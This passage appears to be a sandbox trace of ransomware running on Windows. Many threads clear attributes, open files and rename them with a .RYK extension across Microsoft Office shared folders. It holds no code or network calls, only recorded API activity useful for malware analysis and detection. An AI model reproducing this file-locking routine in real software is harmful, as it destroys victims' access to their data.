	[0129.846] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 212
	os_tid = 0xc08

	[0129.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml", dwFileAttributes=0x80) returned 0
	[0129.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.848] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.849] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 213
	os_tid = 0xc0c

	[0129.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml", dwFileAttributes=0x80) returned 0
	[0129.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.851] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.852] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 214
	os_tid = 0xc10

	[0129.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml", dwFileAttributes=0x80) returned 0
	[0129.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.855] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.856] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 215
	os_tid = 0xc14

	[0129.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml", dwFileAttributes=0x80) returned 0
	[0130.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.516] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.517] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 217
	os_tid = 0xc1c

	[0129.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml", dwFileAttributes=0x80) returned 0
	[0130.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.516] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.516] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 218
	os_tid = 0xc20

	[0129.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml", dwFileAttributes=0x80) returned 0
	[0130.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.515] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.515] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 219
	os_tid = 0xc24

	[0129.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml", dwFileAttributes=0x80) returned 0
	[0130.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.514] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.515] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 220
	os_tid = 0xc28

	[0129.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml", dwFileAttributes=0x80) returned 0
	[0130.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.513] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.514] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 221
	os_tid = 0xc2c

	[0129.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml", dwFileAttributes=0x80) returned 0
	[0130.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.512] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.513] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 222
	os_tid = 0xc30

	[0129.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml", dwFileAttributes=0x80) returned 0
	[0130.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.510] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.511] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 223
	os_tid = 0xc34

	[0129.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml", dwFileAttributes=0x80) returned 0
	[0130.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.509] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.510] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 224
	os_tid = 0xc38

	[0129.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml", dwFileAttributes=0x80) returned 0
	[0130.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.507] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.508] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 225
	os_tid = 0xc3c

	[0129.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml", dwFileAttributes=0x80) returned 0
	[0130.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.059] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.060] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 226
	os_tid = 0xc40

	[0130.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml", dwFileAttributes=0x80) returned 0
	[0130.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.063] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.064] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 234
	os_tid = 0xc88

	[0131.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM", dwFileAttributes=0x80) returned 0
	[0131.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.964] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.965] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 235
	os_tid = 0xc8c

	[0131.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", dwFileAttributes=0x80) returned 0
	[0132.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0132.165] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0132.165] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 236
	os_tid = 0xc90

	[0132.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF", dwFileAttributes=0x80) returned 0
	[0132.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0132.173] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0132.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 237
	os_tid = 0xc94

	[0132.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", dwFileAttributes=0x80) returned 0
	[0132.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0132.481] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0132.481] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 238
	os_tid = 0xc98

	[0132.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", dwFileAttributes=0x80) returned 0
	[0132.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0132.193] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0132.193] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 239
	os_tid = 0xc9c

	[0132.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", dwFileAttributes=0x80) returned 0
	[0132.456] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0132.457] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0132.457] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 240
	os_tid = 0xca0

	[0132.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0132.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0132.473] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0132.473] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 241
	os_tid = 0xca4

	[0132.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", dwFileAttributes=0x80) returned 0
	[0132.207] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0132.207] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0132.207] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 242
	os_tid = 0xca8

	[0132.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0132.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0132.480] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0132.480] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 243
	os_tid = 0xcac

	[0132.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", dwFileAttributes=0x80) returned 0
	[0132.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0132.213] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0132.213] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 244
	os_tid = 0xcb0

	[0132.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0132.482] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0132.483] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0132.483] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 245
